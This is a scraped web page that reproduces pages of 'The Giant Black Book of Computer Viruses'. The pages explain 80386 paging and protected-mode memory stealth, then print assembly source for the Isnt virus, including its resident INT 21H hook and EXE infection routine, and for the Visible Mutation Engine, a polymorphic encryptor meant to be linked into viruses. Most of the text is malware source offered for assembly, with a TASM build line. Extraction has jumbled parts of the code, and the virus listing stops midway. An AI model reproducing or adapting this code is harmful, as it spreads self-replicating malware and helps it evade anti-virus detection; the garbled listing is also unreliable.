the giant black book of computer viruses phần 7 pot

66 304 0
the giant black book of computer viruses phần 7 pot

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

398 The Giant Black Book of Computer Viruses In the 80386, there are two levels of translations between the memory address which software uses and the physical addresses which locate bytes in the DRAM chips The first level we have encountered before in dealing with segments As you will recall, in real mode, segments are defined to form a sort of most significant word of memory Physical addresses are found by taking 16 times the segment plus the offset In 80386 protected mode, segments are defined by a descriptor table, either the Global Descriptor Table or a Local Descriptor Table These descriptor tables, which consist of 8-byte entries, define the segment starting point (known as the base), the segment size (known as the limit) and the segment properties (for example, a code segment, a data segment, etc.) In protected mode, the segment registers cs, ss, ds, es (and fs and gs) contain selectors instead of address information The selectors point to entries in the descriptor tables Thus, for example, ds will take the value This number is merely a pointer to entry in the descriptor table The location of that segment could be anywhere in memory To compute an address, the 80386 uses the selector to lock up the segment base in the descriptor table and adds the offset of the memory referenced to it For example, if ds=8 and the base of entry in th GDT was 80000H, then instructions of the form mov mov bx,12987H al,[bx] would access linear memory address 80000H + 12987H = 92987H Notice, however, that I call this linear memory, not physical memory That’s because there’s another translation scheme at work in the 80386 In addition to segmentation, the 80386 can also translate memory using a paging scheme in protected mode This paging scheme lives underneath the segmentation and translates linear addresses into physical addresses In the 80386, both the entire linear and physical memory is broken up into kilobyte pages Each page in linear memory can be mapped into any page in physical memory, or into none at all This arrangement is accomplished with a set of page tables that translate linear into physical memory Each entry in a page table is a 32-bit number The upper 20 bits form the address of a physical page of memory The lower 12 bits in each entry are set aside for Protected Mode Stealth 399 flags (See Figure 23.1) These flags allow one to mark pages as present or absent, as read/write or read only, and as available for applications programs or only for systems software One page table is special, and it’s called a page directory Each entry in the page directory points to a page table Each page table, including the page directory, occupies one page and must be aligned on a page This scheme allows gigabytes of memory to be managed with the page tables Essentially, 1024 page directory entries point to 1024 page tables, with 1024 entries each, each of which points to a page of 4096 bytes of memory (Not all of these tables need actually exist.) Isnt uses the paging system to hide itself To this it uses two different paging maps, each of which requires one page directory and one page entry When the virus is active (that is, when the SRCH_HOOK has been called by the V86 monitor) the virus uses a straight linear mapping, where all linear memory addresses are the same as all physical memory addresses When Isnt is not actively infecting files in a directory search, its V86 monitor uses a different page map This map takes some physical memory at the address 11C000H in extended memory, and maps it into the linear address which belonged to Isnt in the other page map (Figure 23.2) Figure 23.1: A Page Table entry 1=present, 0=absent 1=read/write, 0=read only 1=avail to applications pgms, 0=systems only Accessed (set by cpu if page accessed) Dirty (set by cpu if page modified) Available for systems software use Page Frame address, top 20 bits 0 0 400 The Giant Black Book of Computer Viruses Switching between one page map and the other is as simple as loading the control register cr3 with the address of a page directory Isnt calls the SETUP_PAGE_TABLES routine at initialization This creates the first set of page tables at the physical address 118000H and the second at 11A000H Then, when the V86 monitor intercepts an int 21H which requires passing control to SRCH_HOOK, the General Protection Fault handler simply sets cr3=118000H before transferring control to SRCH_HOOK This pages the virus into memory so it can its work When it’s done, the V86 monitor sets cr3=11A000H and the virus promptly disappears! The Interrupt 0FFH Hook All that remains is to determine how to tell the V86 monitor that the virus is done processing its interrupt hook When one sets the i/o privilege level IOPL=3, the General Protection Fault handler only traps software interrupt instructions It does not, for example, trap iret’s It would be nice to trap an iret because that’s a pretty normal instruction to use at the end of processing interrupts One can cause them to be trapped by setting IOPL < 3, but then a bunch of other instructions get trapped too That means one has to add a lot of overhead to the General Protection Fault handler Rather than taking this approach, Isnt uses a different tactic Whatever one does to signal the end of SRCH_HOOK’s processing, it must be the very last thing done by that code Once the V86 monitor switches pages, the code is no longer there, and the cs:ip had better be pointing somewhere else! Since the General Protection Fault handler already traps interrupts, it makes sense to use another, unused interrupt to signal that the interrupt hook is done processing Isnt uses Interrupt 0FFH When the General Protection Fault handler sees an Interrupt 0FFH, it treats it entirely differently than an ordinary interrupt To the V86 machine, the int 0FFH is made to look exactly like a retf instruction It also tells the V86 monitor to set cr3=11A000H, paging the virus out of memory Protected Mode Stealth System Memory Page Scheme System Memory Page Scheme Memory for Stealthing Page Table Page Table 11C000H 11A000H 118000H V86 Monitor 11C000H Page Table Page Table 11A000H 118000H V86 Monitor 110000H 110000H 0A0000H Top of DOS Memory 0A0000H Top of DOS Memory Isnt Image and Memory for SRCH_HOOK stealthing DOS, etc DOS, etc 000000H 000000H Figure 23.2: The Isnt virus in memory 401 402 The Giant Black Book of Computer Viruses This completes the process of stealthing the virus in memory In this way, the virus can go resident and hook interrupts without leaving any trace of itself to scan for in memory in the V86 machine Protected Mode and Advanced Operating Systems Now obviously there aren’t a whole lot of Pentium machines out there running DOS in real mode As such, the Isnt virus is more of a look at what a virus could do, rather than a practical virus that’s likely to spread in a big way Practically speaking, though, a boot sector virus could implement a complete memory manager like HIMEM.SYS and succeed at living quite well even in a Windows environment It would load before the installed memory manager and peacefully lobotomize it when it starts up Likewise, many of the newer advanced operating systems are surprisingly free about making protected mode resources available to programs—resources which a virus could use to exploit the power of protected mode just as well as Isnt For example, the Virtual Anarchy4 virus creates a Virtual Device Driver for Windows 3.1 on the fly and instructs Windows to load it at startup This driver effectively stealths hard disk access in protected mode, and it only exists as a virtual device driver on disk for a split second while Windows is loading After it has been loaded into memory, the virus deletes it from the disk In short, viruses which are wise to protected mode have the potential to be a real nightmare for anti-virus software If they gain control of protected mode system resources first, and use them wisely, there’s almost nothing which an anti-virus can about it See Computer Virus Developments Quarterly, Vol 2, No 3, Spring 1994 Protected Mode Stealth 403 The Isnt Source The Isnt virus consists of ten ASM files It should be compiled with TASM, preferably Version 2.X, into an EXE file using the commands tasm /m3 isnt,,; tlink /3 isnt; The files have the following functions: ISNT.ASM is the main assembler module All the rest are include files It contains the main control routine, the infection routine, and the hook for the search functions 11H and 12H PROTECT.ASM contains the code to jump to protected mode and return to V86 mode SETUPROT.ASM contains routines called from PROTECT.ASM to set up the GDT, IDT, etc., and to move the code to high memory TASK1.ASM is the startup routine in protected mode It sets up the paging and launches the V86 monitor GPFAULT.ASM is the General Protection Fault handler HWHNDLR.ASM is all of the the hardware interrupt handlers NOTIMP.ASM is a routine to handle any unimplemented interrupts and fault handlers PMVIDEO.ASM is a protected mode video driver to display a message on the screen if the V86 monitor doesn’t know what to PM_DEFS.ASM contains some standard definitions for use in protected mode TABLES.ASM contains the GDT, the IDT and Task State Segments The ISNT.ASM Source ;The Isnt Virus ;(C) 1995 American Eagle Publications, Inc All rights reserved ;This is a resident virus which infects files when they are searched for ;using the FCB-based search functions It is a protected mode virus which ;stealths its existence in memory .SEQ ;segments must appear in sequential order ;to simulate conditions in active virus 386P ;protected mode 386 code ;HOSTSEG program code segment The virus gains control before this routine and ;attaches itself to another EXE file HOSTSEG SEGMENT BYTE USE16 404 The Giant Black Book of Computer Viruses ASSUME CS:HOSTSEG,SS:HSTACK ;This host simply terminates and returns control to DOS HOST: db 15000 dup (90H) ;make host larger than virus mov ax,4C00H int 21H ;terminate normally HOSTSEG ENDS ;Host program stack segment STACKSIZE EQU 100H HSTACK HSTACK ;size of stack for this program SEGMENT PARA USE16 STACK ’STACK’ db STACKSIZE dup (0) ENDS ;************************************************************************ ;This is the virus itself ;Intruder Virus code segment This gains control first, before the host As this ;ASM file is layed out, this program will look exactly like a simple program ;that was infected by the virus VSEG SEGMENT PARA USE16 ASSUME CS:VSEG,DS:VSEG,SS:HSTACK ;****************************************************************************** ;This is the data area for the virus which goes resident when the virus goes ;resident It contains data needed by the resident part, and data which the ;startup code needs pre-initialized PAGES EQU ;number of pages virus takes OLD_21H DD ? ;old int 21H vector ;The following is the control block for the DOS ;the virus to execute the host program after it EXEC_BLK DW DW 80H,0 DW 5CH,0 DW 6CH,0 EXEC function It is used by installs itself in memory ;seg @ of environment string ;4 byte ptr to command line ;4 byte ptr to first FCB ;4 byte ptr to second FCB FNAME FSIZE EXE_HDR PSP T1SEG tion PARAS DB DW DB DW DW 12 dup (0) 0,0 1CH dup (?) ? ;buffer for EXE file header ;place to store PSP segment ;flag to indicate first genera- DW ;paragraphs before virus start ;The following 10 bytes must stay together because they are an image of 10 ;bytes from the EXE header HOSTS DW 0,STACKSIZE ;host stack and code segments FILLER DW ? ;these are dynamically set by the virus HOSTC DW OFFSET HOST,0 ;but hard-coded in the 1st generation ;****************************************************************************** ;This portion of the virus goes resident if it isn’t already In theory, ;because of the stealthing, this code should never get control unless the ;virus is not resident Thus, it never has to check to see if it’s already ;there! ISNT: mov ax,4209H ;see if virus is already there int 21H jnc JMP_HOST ;yes, just go execute host call IS_V86 ;are we in V86 mode already? jz NOT_RESIDENT ;no, go ahead and load JMP_HOST: ;else just execute host mov ax,cs ;relocate relocatables Protected Mode Stealth add add cli mov mov sti jmp WORD PTR cs:[HOSTS],ax WORD PTR cs:[HOSTC+2],ax ;set up host stack ss,WORD PTR cs:[HOSTS] sp,WORD PTR cs:[HOSTS+2] DWORD PTR cs:[HOSTC] ;and transfer control to the host NOT_RESIDENT: mov add mov and add mov mov sub mov push pop xor mov mov add rep mov push mov push retf ax,ds ;move virus down ax,10H ;first figure out where bx,ax ax,0FF00H ;set ax=page boundary ax,100H ;go up to next bdy es,ax ;es=page bdy bx,ds ax,bx ;ax=paragraphs from PSP to virus cs:[PARAS],ax ;save it here cs ;first, let’s move host to page:0 ds ;note that the host must be larger si,si ;than the virus for this to work di,0 cx,OFFSET END_STACK cx,OFFSET END_TASK1 + 20H movsb ;move it ax,es ax ;now jump to PAGE:GO_RESIDENT ax,OFFSET MOVED_DOWN ax ;using a retf MOVED_DOWN: push push pop call cmp pop jne mov sub mov jmp ds cs ds INSTALL_INTS WORD PTR [T1SEG],0 cx GO_EXEC ax,SEG TASK1 ax,cx WORD PTR [T1SEG],ax SHORT GO_RESIDENT ;ds=cs ;install interrupt handlers ;first generation? ;no, go exec host ;else reset flag ;and go resident GO_EXEC: cli mov mov mov sti mov int mov mov add mov int ax,cs ss,ax sp,OFFSET END_STACK ah,62H 21H es,bx bx,PAGES*256 bx,[PARAS] ah,4AH 21H ;move stack down ;get PSP ;prep to reduce memory size ;bx=pages to save ;reduce it mov mov mov sub mov mov mov mov bx,2CH es,es:[bx] ax,ds ax,[PARAS] WORD PTR [EXEC_BLK],es [EXEC_BLK+4],ax [EXEC_BLK+8],ax [EXEC_BLK+12],ax ;get environment segment xor mov di,di cx,7FFFH ;now get host’s name from ;environment ;set up EXEC data structure ;for EXEC function to execute host 405 406 The Giant Black Book of Computer Viruses xor repnz scasb loopnz add al,al scasb push pop mov push pop mov mov int es ds dx,di cs es bx,OFFSET EXEC_BLK ax,4B00H 21H push pop mov int mov int push pop push pop HNLP: ds es ah,49H 21H ah,4DH 21H cs ds cs es GO_RESIDENT: push mov add mov ASSUME DS:TASK1 mov mov mov pop ASSUME DS:VSEG call call push pop mov add mov HNLP di,2 ;now prepare to EXEC the host ;ds:dx point to host’s name now ;es:bx point to EXEC_BLK ;now EXEC the host ;es=segment of host EXECed ;free memory from EXEC ;get host return code ds ax,cs ax,[T1SEG] ds,ax WORD PTR [NEW_21H],OFFSET SRCH_HOOK WORD PTR [NEW_21H+2],cs WORD PTR [SEG_FAULT],cs ds REMOVE_INTS GO_PROTECTED cs ds dx,PAGES*256 dx,[PARAS] ax,3100H pushf push push GR2: ;es:di point to host’s name now cs OFFSET GR2 + pushf mov push mov push mov int ;remove int hook prior to going prot ;go to protected mode if possible ;return @ for simulated int 21H ax,WORD PTR [OLD_21H+2] ax ax,WORD PTR [OLD_21H] ax ax,3100H 0FFH ;@ to iret to (Int 21 ISR) ;INSTALL_INTS installs the interrupt 21H hook so that the virus becomes ;active All this does is put the existing INT 21H vector in OLD_21H and ;put the address of INT_21H into the vector INSTALL_INTS: push es ;preserve es! mov ax,3521H ;hook interrupt 21H int 21H mov WORD PTR [OLD_21H],bx ;save old here mov WORD PTR [OLD_21H+2],es mov dx,OFFSET INT_21H ;and set up new mov ax,2521H Protected Mode Stealth int pop ret IIRET: 407 21H es ;This removes the interrupt 21H hook installed by INSTALL_INTS REMOVE_INTS: lds dx,[OLD_21H] mov ax,2521H int 21H ret ;This is the interrupt 21H hook It becomes active when installed by ;INSTALL_INTS It traps Functions 11H and 12H and infects all EXE files ;found by those functions INT_21H: cmp ax,4209H ;self-test for virus? jne GOLD clc ;yes, clear carry and exit retf GOLD: jmp DWORD PTR cs:[OLD_21H] ;execute original int 21 handler ;This routine just calls the old Interrupt 21H vector internally It is ;used to help get rid of tons of pushf/call DWORD PTR’s in the code DOS: pushf call DWORD PTR cs:[OLD_21H] ret ;This is the Search First/Search Next Function Hook, hooking the FCB-based ;functions SRCH_HOOK: call DOS ;call original handler or al,al ;was it successful? jnz SEXIT ;nope, just exit pushf pusha ;save registers push es push ds mov int cmp jne add SH1: call jc call EXIT_SRCH: pop pop popa popf SEXIT: int ah,2FH ;get dta address in es:bx 21H BYTE PTR es:[bx],0FFH SH1 ;an extended fcb? bx,7 ;yes, adjust index FILE_OK ;ok to infect? EXIT_SRCH ;no, see if already infected, and stealth INFECT_FILE ;go ahead and infect it ds es ;restore registers 0FFH ;protected mode return ;Function to determine whether the file found by the search routine is ;useable If so return nc, else return c ;What makes a file useable?: ; a) It must have an extension of EXE ; b) The file date must be earlier than 2037 ; c) The signature field in the EXE header must be ’MZ’ (These ; are the first two bytes in the file.) ; d) The Overlay Number field in the EXE header must be zero ; e) It should be a DOS EXE, without a new header ; f) The host must be larger than the virus FILE_OK: push es 450 The Giant Black Book of Computer Viruses The Visible Mutation Engine Source The Visible Mutation Engine can be assembled to an object module, and theoretically linked with any virus that can call the public subroutine ENCRYPT The idea behind a mutation engine is fairly simple The ENCRYPT routine is passed two pointers This routine will take whatever code is at one pointer (the source), encrypt it, and put the encrypted code in memory at the other pointer (the destination) And of course, you have to provide the caller with a decryptor as well (See Figure 24.2) The VME, uses ds:si for the source pointer and es:di for the destination The cx register is used to tell the engine the number of bytes of code to encrypt; bx specifies the starting offset of the Figure 24.2: VME Input and Output Source Destination Size ENGINE VIRUS CODE Encrypted Code Decryptor Size Destination Polymorphic Viruses 451 decryption routine The dx register is used to optionally specify the size of the decryption routine If dx=0 upon entry, the engine will choose a random size for the decryptor This approach provides maximum flexibility and maximum retrofitability These parameters are the bare minimum for building a useful engine No doubt, the reader could imagine other useful parameters that might be added to this list The engine is accessible to a near call To make such a call, a virus sets up the registers as above, and calls ENCRYPT On return, the engine will set the carry flag if there was any problem performing the encryption if successful, cx will contain the number of bytes in the destination code, which includes both the decryptor and the encrypted code; es:di will point to the start of the decryptor All other registers except the segment registers are destroyed The engine is designed so that all offsets in it are entirely relocatable, and it can be used with any COM infecting virus The following module, VME.ASM, should be assembled with TASM or MASM ;The Visible Mutation Engine Version 1.1 ;(C) 1995 American Eagle Publications, Inc ALL RIGHTS RESERVED ;The engine is an object module which can be linked into a virus, or any other ;software that needs to be self-encrypting ; ;On calling the ENCRYPT routine, ;DS:SI points to where the code to encrypt is ;ES:DI points to where the decryption routine + encrypted code should be placed ;DX0 is the fixed size of the decryption routine ;CX is the size of the unencrypted code ;BX is the starting offset of the decryption routine ; ;On return, carry will be set if there was an error which prevented the engine ;from generating the code If successful, carry will be cleared ;CX will be returned with the decryption routine + code size ;Version 1.1 is functionally equivalent to Version 1.0 No new code generated ;It adds the ability to use a gene instead of a random number generator .model tiny code public CODE_LOC ENCR_LOC DECR_SIZE DECR_OFFS CODE_SIZE ENCRYPT extrn extrn RANDOM_SEED:near GET_RANDOM:near DD DD DW DW DW 0 0 ;area to save all passed parameters 452 The Giant Black Book of Computer Viruses ENCRYPT: GET_LOC: ERR_EXIT: cld push call pop sub push mov mov mov mov push pop mov mov mov mov call jc call jc call jc call jc les mov add pop pop ret bp ;preserve bp GET_LOC ;first figure out where we are bp bp,OFFSET GET_LOC ;offset stored in bp always ds cs:[bp][DECR_OFFS],bx ;save all calling parameters bx,bp ;put base in bx WORD PTR CS:[bx][CODE_LOC],si WORD PTR CS:[bx][CODE_LOC+2],ds cs ds WORD PTR [bx][ENCR_LOC],di WORD PTR [bx][ENCR_LOC+2],es [bx][CODE_SIZE],cx [bx][DECR_SIZE],dx SELECT_BASE ;select decryptor base to use ERR_EXIT ;exit if error INIT_BASE ;initialize decryptor ERR_EXIT GENERATE_DECRYPT ;create a decrypt routine in ERR_EXIT ;work space ENCRYPT_CODE ;encrypt the code as desired ERR_EXIT ;exit on error di,[bx][ENCR_LOC] ;else set exit parameters cx,[bx][CODE_SIZE] cx,[bx][DECR_SIZE] ;cx=code+decr rtn size ds bp ;****************************************************************************** ;This routine selects which decryptor base to use It simply gives each ;decryptor an even chance of being used BASE_COUNT holds the total number ;of decryptor bases available to use, and BASE_NO is set by this function ;to the one that will be used from here on out This routine also sets the ;size of the decryptor, if a fixed size is not specified If a fixed size ;is specified, it checks to make sure enough room has been alotted If not, ;it returns with carry set to indicate an error SELECT_BASE: mov al,4 ;4 bit gene needed call GET_RANDOM ;get a random number xor dx,dx ;make it a dword mov cx,[bx][BASE_COUNT] ;get total number of base rtns div cx mov [bx][BASE_NO],dx ;save choice in BASE_NO mov ax,[bx][DECR_SIZE] ;ok, get requested size mov si,dx ;get base number shl si,1 ;make an address out of it add si,OFFSET BASE_SIZE_TBL mov cx,[bx][si] ;get selected base size or ax,ax ;is decryptor size 0? jz SEL_SIZE1 ;yes, select a random size cmp ax,cx ;is ax>=cx? retn ;return with carry set right ;If no base size selected, pick a random size between the minimum required ;size and the minimum + 127 SEL_SIZE1: mov ax,80H ;max size sub ax,cx ;subtract size push cx ;save it mov cx,ax ;cx=extra size allowed mov al,7 ;7 bits needed call GET_RANDOM xor dx,dx div cx ;dx=extra size selected Polymorphic Viruses pop add mov ret cx dx,cx [bx][DECR_SIZE],dx 453 ;add size ;save it here ;****************************************************************************** ;This routine initializes the base routines for this round of encryption It ;is responsible for inserting any starting/ending addresses into the base, ;and any random numbers that the base uses for encryption and decryption ;It must insure that the encryptor and decryptor are set up the same way, ;so that they will work properly together INIT_BASE itself is just a lookup ;function that jumps to the proper routine to work with the current base, ;as selected by SELECT_BASE The functions in the lookup table perform all of ;the routine-specific chores INIT_BASE: mov si,[bx][BASE_NO] shl si,1 ;determine encryptor to use add si,OFFSET INIT_TABLE add [bx][si],bx jmp [bx][si] INIT_TABLE DW DW OFFSET INIT_BASE0 OFFSET INIT_BASE1 ;Initialize decryptor base number INIT_BASE0: sub [bx][si],bx BLE! mov si,OFFSET _D0START mov ax,[bx][DECR_OFFS] add ax,[bx][DECR_SIZE] mov [bx][si],ax mov si,OFFSET _D0SIZE mov ax,[bx][CODE_SIZE] mov [bx][si],ax mov al,16 call GET_RANDOM mov si,D0RAND1 mov [bx][si],al mov si,OFFSET _D0RAND1 mov [bx][si],al mov si,D0RAND2 mov [bx][si],ah mov si,OFFSET _D0RAND2 mov [bx][si],ah clc retn ;make sure to clean up INIT_TA;set start address ;set size to decrypt ;set up first random byte (encr) ;set up first random byte (decr) ;set up second random byte ;set up second random byte ;that’s it folks! ;Initialize decryptor base number This only has to set up the decryptor ;because the encryptor calls the decryptor INIT_BASE1: sub [bx][si],bx ;make sure to clean up INIT_TABLE! mov ax,[bx][DECR_OFFS] add ax,[bx][DECR_SIZE] mov si,D1START1 ;set start address mov [bx][si],ax mov si,D1START2 ;set start address mov [bx][si],ax mov si,D1SIZE ;set size to decrypt mov ax,[bx][CODE_SIZE] shr ax,1 ;use size / mov [bx][si],ax mov al,16 call GET_RANDOM mov si,D1RAND ;set up random word mov [bx][si],ax clc 454 The Giant Black Book of Computer Viruses retn ;that’s it folks! ;****************************************************************************** ;This routine encrypts the code using the desired encryption routine ;On entry, es:di must point to where the encrypted code will go ENCRYPT_CODE: mov si,[bx][BASE_NO] shl si,1 ;determine encryptor to use add si,OFFSET ENCR_TABLE add [bx][si],bx jmp [bx][si] ENCR_TABLE DW DW OFFSET ENCRYPT_CODE0 OFFSET ENCRYPT_CODE1 ;Encryptor to go with decryptor base ENCRYPT_CODE0: sub [bx][si],bx BLE! push ds mov cx,[bx][CODE_SIZE] lds si,[bx][CODE_LOC] push cx push di rep movsb pop si pop cx push es pop ds call ENCRYPT0 pop ds mov bx,bp clc retn ;Encryptor to go with decryptor base ENCRYPT_CODE1: sub [bx][si],bx BLE! push ds mov cx,[bx][CODE_SIZE] lds si,[bx][CODE_LOC] push cx push di rep movsb pop di mov si,di pop dx push es pop ds call ENCRYPT1 pop ds clc retn ;make sure to clean up ENCR_TA;may use a different ds below ;ok, es:di and ds:si set up ;move the code to work segment ;call encryptor ;restore bx to code base ;return c reset for success ;make sure to clean up ENCR_TA;may use a different ds below ;ok, es:di and ds:si set up ;move the code to work segment ;call encryptor ;return c reset for success ;****************************************************************************** ;The following routine generates a decrypt routine, and places it in memory ;at [ENCR_LOC] This returns with es:di pointing to where encrypted code ;should go It is assumed to have been setup properly by INIT_BASE As with ;INIT_BASE, this routine performs a jump to the proper routine selected by ;BASE_NO, which then does all of the detailed work GENERATE_DECRYPT: mov si,[bx][BASE_NO] shl si,1 ;determine encryptor to use add si,OFFSET DECR_TABLE add [bx][si],bx jmp [bx][si] Polymorphic Viruses DECR_TABLE DW DW OFFSET GEN_DECRYPT0 OFFSET GEN_DECRYPT1 GD0R1 GD0R2 DB DB 455 0 ;Generate the base routine GEN_DECRYPT0: sub [bx][si],bx ;make sure to clean up DECR_TABLE! mov cx,OFFSET D0RET - OFFSET DECRYPT0 mov ax,[bx][DECR_SIZE] sub ax,cx ;ax= # bytes free mov [bx][RAND_CODE_BYTES],ax;save it here les _D0RAND1 al,11001000B GET_REGISTER [bx][GD0R1],al ah,0FFH al,3 GD1 ah,01110111B al,11011101B al,ah GET_REGISTER [bx][GD0R2],al ;select si, di or bx for r1 ;randomly ax,000000000B cx,7 RAND_CODE mov or stosb EQU mov stosw al,[bx][GD0R1] al,0B8H al,[bx][GD0R1] GEN_MASK al,00000010B ax ah,ah cx,6 RAND_CODE mov stosb EQU mov stosw al,0B9H mov call pop or or xor push mov call _D0SIZE mov call mov mov cmp jnz mov mov and call mov mov call or push xor mov call _D0START ;es:di points to where to put it mov mov call GD1: di,[bx][ENCR_LOC] al,[bx][GD0R2] GEN_MASK_BYTE cx al,cl al,00000010B ah,ah ax cx,5 RAND_CODE EQU mov mov or $+1 ah,0 al,[bx][GD0R2] al,0B0H ;mask to exclude bx ;is al=bx? ;exclude bh, bl ;exclude ch, cl ;select r2 randomly ;get r1 ;mov r1,I $+1 ax,0 ;mov cx,0 $+1 ax,0 ;build mask for r2 ;save mask ;mov r2,0 456 The Giant Black Book of Computer Viruses stosw pop push mov call ax ax cx,4 RAND_CODE pop push push ax di ax mov call mov mov shl or push al,[bx][GD0R1] GET_DR ah,[bx][GD0R2] cl,3 ah,cl ah,al ax ;r1 ;change to ModR/M value cmp pop jc push mov call and pop jz [bx][RAND_CODE_BYTES],4 ax GD2 ax al,1 GET_RANDOM al,1 ax GD2 ;make sure room for largest rtn xor mov stosw pop push push ah,00100000B al,8AH ;switch between ah & al, etc push mov mov call dx ax,dx cx,8 RAND_CODE mov mov shl or xor mov xchg stosw al,[bx][GD0R2] cl,3 al,cl al,[bx][GD0R2] al,11000100B ah,30H al,ah pop mov call ax cx,8 RAND_CODE pop mov stosw sub jmp ax al,88H GD2: mov stosw al,30H ;xor [r1],r2 GD3: pop push mov call ax ax cx,3 RAND_CODE ;get register flags mov al,[bx][GD0R1] ;inc r1 dx dx ax ;get mask ;save address of xor for loop ;ah = r2*8 + r1 ;if not, use smallest ;select between xor ;and mov/xor/mov ;select xor ;mov r2’,[r1] ;get mask for RAND_CODE ;get r2 ;r2 in both src & dest ;now have r2’,r2 ;xor r2’,r2 ;mov [r1],r2’ [bx][RAND_CODE_BYTES],4 ;must adjust this! SHORT GD3 Polymorphic Viruses or stosb ax ax cx,2 RAND_CODE ;get mask mov mov or stosw EQU mov stosb al,80H ah,[bx][GD0R2] ah,0C0H ;add r2,0 pop mov call ax cx,1 RAND_CODE ;get retister flags pop dec dec sub mov mov stosw cx cx cx cx,di ah,cl al,0E2H ;address to jump to mov xor call _D0RAND2 al,40H pop push mov call ax,000000000H cx,cx RAND_CODE 457 ;fill remaining space ;with random code $+1 al,0 clc retn ;loop D0LP ;return with c reset ;Generate the base routine GEN_DECRYPT1: sub [bx][si],bx BLE! mov cx,OFFSET D1RET sub cx,OFFSET DECRYPT1 push cx mov si,OFFSET DECRYPT1 add si,bx les di,[bx][ENCR_LOC] rep movsb pop ax mov cx,[bx][DECR_SIZE] sub cx,ax mov al,90H rep stosb clc retn ;make sure to clean up DECR_TA- ;cx=# of bytes in decryptor ;[bx][si] points to DECRYPT1 ;si points to DECRYPT1 ;es:di points to where to put it ;simply move it for now ;get decryptor size ;need this many more bytes ;NOP code in al ;put NOP’s in ;return with c reset ;****************************************************************************** ;Bases for Decrypt/Encrypt routines BASE_COUNT BASE_NO BASE_SIZE_TBL DW DW DW DW ;number of base routines available ;base number in use OFFSET D0RET - OFFSET DECRYPT0 OFFSET D1RET - OFFSET DECRYPT1 ;This is the actual base routine This is just a single-reference, varying ;byte-wise XOR routine DECRYPT0: mov si,0 ;mov si,OFFSET ENCRYPTED mov cx,0 ;mov cx,ENCRYPTED SIZE 458 ENCRYPT0: D0LP: D0RET: The Giant Black Book of Computer Viruses mov xor inc add loop retn bl,0 [si],bl si bl,0 D0LP ;mov bl,RANDOM BYTE ;add bl,RANDOM BYTE ;not used by decryptor! ;Defines to go with base routine D0RAND1 EQU OFFSET DECRYPT0 + D0RAND2 EQU OFFSET DECRYPT0 + 13 ;Here is the base routine This is a double-reference, word-wise, fixed XOR ;encryptor DECRYPT1: mov si,0 mov di,0 mov dx,0 ENCRYPT1: D1LP: mov ax,[si] add si,2 xor ax,0 mov ds:[di],ax add di,2 dec dx jnz D1LP D1RET: ret ;Defines to go with base routine D1START1 EQU OFFSET DECRYPT1 + D1START2 EQU OFFSET DECRYPT1 + D1SIZE EQU OFFSET DECRYPT1 + D1RAND EQU OFFSET DECRYPT1 + 15 ;Random code generator Bits set in al register tell which registers should ;NOT be changed by the routine, as follows: (Segment registers aren’t changed) ; ; Bit = ax ; Bit = cx ; Bit = dx ; Bit = bx ; Bit = sp ; Bit = bp ; Bit = si ; Bit = di ; Bit = flags ; ;The cx register indicates how many more calls to RAND_CODE are expected ;in this execution It is used to distribute the remaining bytes equally ;For example, if you had 100 bytes left, but 10 calls to RAND_CODE, you ;want about 10 bytes each time If you have only calls, though, you ;want about 50 bytes each time If CX=0, RAND_CODE will use up all remaining ;bytes RAND_CODE_BYTES DW ;max number of bytes to use up RAND_CODE: RCODE1: or jnz mov or push jz jmp push mov or jz shl cx,cx RCODE1 cx,[bx][RAND_CODE_BYTES] cx,cx ax RCODE3 short RCODE2 ax ax,[bx][RAND_CODE_BYTES] ax,ax RCODE3 ax,1 ;last call? ;no, determine bytes ;yes, use all available ;is it zero? ;save modify flags ;zero, just exit ;else go use them ;save modify flags ;ax=2*bytes available Polymorphic Viruses RCODE05: RCODE2: RC_LOOP: xor div or jz mov mov or jz add call xor div mov cmp jc mov or jz sub pop dx,dx cx ax,ax RCODE3 cx,ax al,8 ah,ah RCODE05 al,8 GET_RANDOM dx,dx cx cx,dx cx,[bx][RAND_CODE_BYTES] RCODE2 cx,[bx][RAND_CODE_BYTES] cx,cx RCODE3 [bx][RAND_CODE_BYTES],cx ax push call pop or jnz ax RAND_INSTR ax cx,cx RC_LOOP 459 ;ax=mod for random call ;get random betw & cx ;random # in ax ;after div, ;dx=random # desired ;make sure not too big ;if too big, use all ;subtract off bytes used ;modify flags ;generate a single instr ret RCODE3: pop ret ax ;This routine generates a random instruction and puts it at es:di, decrementing ;cx by the number of bytes the instruction took, and incrementing di as well ;It uses ax to determine which registers may be modified by the instruction ;For the contents of ax, see the comments before RAND_CODE RAND_INSTR: or ax,00010000B ;never allow stack to be altered push ax cmp al,0FFH ;are any register mods allowed? je RI1 ;nope, go set max subrtn number mov dx,3 neg al ;see if or more registers ok RI0: shr al,1 jnc RI0 ;shift out 1st register or al,al ;if al=0, only register ok jnz RI2 ;non-zero, register instrs ok dec dx jmp SHORT RI2 RI1: mov dx,0 ;dx contains max subrtn number cmp ah,1 ;how about flags? je RI2 ;nope, only allowed inc dx ;flags ok, and allowed RI2: mov call xor inc push mov xor div pop pop mov shl add add jmp al,4 GET_RANDOM ah,ah dx cx cx,dx dx,dx cx cx ax si,dx si,1 si,OFFSET RI_TABLE [bx][si],bx [bx][si] ;get random number betw & dx ;dx=modifier ;now dx=random number desired ;determine routine to use 460 RI_TABLE The Giant Black Book of Computer Viruses DW DW DW DW OFFSET OFFSET OFFSET OFFSET RAND_INSTR0 RAND_INSTR1 RAND_INSTR2 RAND_INSTR3 ;If this routine is called, no registers must be modified, and the flags must ;not be modified by any instructions generated possibilities here RAND_INSTR0: sub [bx][si],bx ;make sure to clean up! push ax push cx cmp cx,2 ;do we have bytes to work with? jc RI01 ;no—must a nop mov al,4 call GET_RANDOM ;yes—do either nop or a push/pop mov cx,9 ;= chance of push/pops & nop xor dx,dx div cx or dx,dx ;if dx=0 jz RI01 ;go a nop, else push/pop mov al,11111111B call GET_REGISTER ;get any register pop cx ;get bytes avail off stack add al,50H ;push r = 50H + r stosb pop dx ;get register flags off stack push ax ;save “push r” sub cx,2 ;decrement bytes avail now cmp cx,1 ;see if more than bytes avail jc RI02A ;nope, go the pop push cx ;keep cx! call GEN_MASK ;legal to modify the pop cx ;register we pushed xor al,0FFH ;so work it into the mask and dl,al ;for more variability mov ax,dx ;new register flags to ax call RAND_INSTR ;recursively call RAND_INSTR RI02A: pop ax add al,8 ;pop r = 58H + r stosb ret RI01: mov stosb pop pop dec ret al,90H cx ax cx ;If this routine is called, no registers are modified, but the flags are ;Right now it just implements 